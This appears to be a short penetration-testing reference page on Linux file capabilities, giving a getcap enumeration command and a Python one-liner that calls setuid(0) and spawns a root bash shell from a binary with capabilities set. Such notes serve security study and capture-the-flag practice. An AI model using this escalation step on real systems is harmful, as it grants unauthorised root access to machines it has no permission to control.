# Capabilities

## What are Capabilities?

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Capabilities man page
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In short, "capability" is a "safer" version of SUID. However, it is still vulnerable in certain cases.

## Enumeration

Search for capabilities:

```bash
getcap -r / 2>/dev/null
```

## Python Capabilities

Suppose `/usr/bin/python2.6` has all capabilities:

![Python capabilities](/files/-MfjUR0o_jjyT_RDp3E4)

Spawn a root shell:

```bash
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```


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